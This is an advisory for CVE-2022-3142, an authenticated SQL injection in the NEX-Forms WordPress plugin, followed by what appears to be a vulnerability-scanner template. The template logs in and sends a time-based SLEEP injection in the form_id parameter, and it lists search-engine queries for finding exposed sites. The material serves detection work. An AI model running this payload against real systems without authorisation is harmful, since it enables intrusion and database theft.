The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.
PoC
id: CVE-2022-3142
info:
name: NEX-Forms Plugin < 7.9.7 - SQL Injection
author: r3Y3r53
severity: high
description: |
The NEX-Forms WordPress plugin before 7.9.7 does not properly sanitise and escape user input before using it in SQL statements, leading to SQL injections. The attack can be executed by anyone who is permitted to view the forms statistics chart, by default administrators, however can be configured otherwise via the plugin settings.
impact: |
Authenticated attackers with form statistics viewing permissions can execute SQL injection through the form_id parameter to extract the complete WordPress database including user credentials, email addresses, and sensitive site data.
remediation: Fixed in version 7.9.7
reference:
- https://wpscan.com/vulnerability/8acc0fc6-efe6-4662-b9ac-6342a7823328/
- https://www.exploit-db.com/exploits/51042
- https://nvd.nist.gov/vuln/detail/CVE-2022-3142
- http://packetstormsecurity.com/files/171477/WordPress-NEX-Forms-SQL-Injection.html
- https://medium.com/%40elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-3142
cwe-id: CWE-89
epss-score: 0.1465
epss-percentile: 0.9658
cpe: cpe:2.3:a:basixonline:nex-forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: basixonline
product: nex-forms
framework: wordpress
shodan-query: http.html:/wp-content/plugins/nex-forms-express-wp-form-builder/
fofa-query: body=/wp-content/plugins/nex-forms-express-wp-form-builder/
publicwww-query: /wp-content/plugins/nex-forms-express-wp-form-builder/
tags: time-based-sqli,cve,cve2022,wpscan,packetstorm,wordpress,sqli,wp-plugin,wp,authenticated,basixonline,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
@timeout: 30s
GET /wp-admin/admin.php?page=nex-forms-dashboard&form_id=1+AND+(SELECT+42+FROM+(SELECT(SLEEP(7)))b)-- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code_2 == 200'
- 'contains(body_2, "NEX-Forms")'
- 'contains(content_type_2, "text/html")'
condition: and
# digest: 4a0a00473045022100d14d91685ed360b468a5aa1f6359e484c74b81acf9aa6f955852bc7786ba70bd02207a58ed76d90f57fe86e41945b1008beab8c3dc4db28318252b50546dd9dc298f:922c64590222798bb761d5b6d8e72950
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